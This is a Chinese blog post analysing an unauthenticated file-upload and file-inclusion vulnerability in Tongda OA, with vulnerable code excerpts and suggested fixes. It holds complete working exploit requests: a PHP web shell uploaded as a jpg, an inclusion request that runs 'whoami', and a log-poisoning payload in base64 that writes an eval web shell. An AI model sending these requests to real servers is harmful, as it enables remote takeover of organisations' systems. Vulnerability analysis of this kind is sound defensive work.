0e0w

通达OA文件包含漏洞


这是一篇关于通达OA文件上传和文件包含漏洞分析文章。由于作者能力有限,文中定会出现一些错误,请谅解。本文会不定期更新,最近一次更新时间为2020年6月2日。鉴于凡世之忙碌,下一次更新也许是明天,也许是下辈子。

关于通达OA的更多信息,请查看通达OA官网

01-漏洞概述

在2020年3月初的时候,有安全厂商发布公告称通达OA被入侵后被黑产利用。今日再来分析此漏洞的时候发现,其实和文件上传没关系,也根本不是任意文件上传漏洞。而是一个思路很好的文件包含漏洞。漏洞的触发条件是在无需登录的条件下上传一个jpg等其他图片格或其他文件格式的非PHP格式的文件即可,然后再利用文件包含漏洞去包含导致漏洞触发。漏洞问题的触发点在于文件包含。除了剪切图片操作之外,很难保证上传图片的内容安全。

影响版本:V11版、2017版、2016版、2015版、2013增强版、2013版(具体未实际测试)

1.文件上传的数据包:

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Content-Length: 658

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

2.文件包含数据包:

POST /mac/gateway.php HTTP/1.1
Host: 192.168.220.129
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

json={"url":"/general/../../attach/im/2006/2097931002.zip"}&cmd=whoami

02-漏洞分析

一、文件上传

  • /ispirit/im/upload.php:5-13行。5行进行判断,变量P存在并不为空的话则执行6-10行代码。如果变量P不存在,或者是等于空的话。则执行else语句,包含auth.php。

    if (isset($P) || ($P != "")) {
    	ob_start();
    	include_once "inc/session.php";
    	session_id($P);
    	session_start();
    	session_write_close();
    }
    else {
    	include_once "./auth.php";
    }
    
  • ispirit\im\auth.php。查看auth.php代码,发现此文件作用为校验用户是否登录。所以如果P存在,并且不为空的话即可在非登录状态下进行上传。

    include_once "inc/session.php";
    session_start();
    session_write_close();
    include_once "inc/conn.php";
    include_once "inc/utility.php";
    ob_start();
    if (!isset($_SESSION["LOGIN_USER_ID"]) || ($_SESSION["LOGIN_USER_ID"] == "") || !isset($_SESSION["LOGIN_UID"]) || ($_SESSION["LOGIN_UID"] == "")) {
    	sleep(1);
    	if (!isset($_SESSION["LOGIN_USER_ID"]) || ($_SESSION["LOGIN_USER_ID"] == "") || !isset($_SESSION["LOGIN_UID"]) || ($_SESSION["LOGIN_UID"] == "")) {
    		echo "-ERR " . _("用户未登陆");
    		exit();
    

二、文件包含

  • /mac/gateway.php:41行。对url进行了包含处理。

    	if ($url != "") {
    		if (substr($url, 0, 1) == "/") {
    			$url = substr($url, 1);
    		}
    		include_once $url;
    	}
    

思考:其实这个地方除了可以通过文件上传之后进行包含之外,也可以通过包含其他文件进行利用,比如包含日志文件:

poc1:

GET /mac/gateway.php?json={}&aa=<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?> HTTP/1.1
Host: 192.168.220.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: USER_NAME_COOKIE=admin; SID_1=b51a8646; PHPSESSID=olai0tkt0oqhcblhha71f42q21; OA_USER_ID=admin
Upgrade-Insecure-Requests: 1

poc2:

POST /mac/gateway.php HTTP/1.1
Host: 192.168.220.129
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

json={"url":"../ispirit/../../nginx/logs/oa.access.log"}

执行完poc1和poc2之后,便会在mac目录下生成lost.php。

三、漏洞修复

  • url参数禁止用户可控。
  • 在路径中禁止出现./等字符。

03-参考链接

  • http://www.0e0w.com

本文为0e0w原创文章,转载参考引用时请在文章中添加本站域名(0e0w.com)信息。


相关文章

文章评论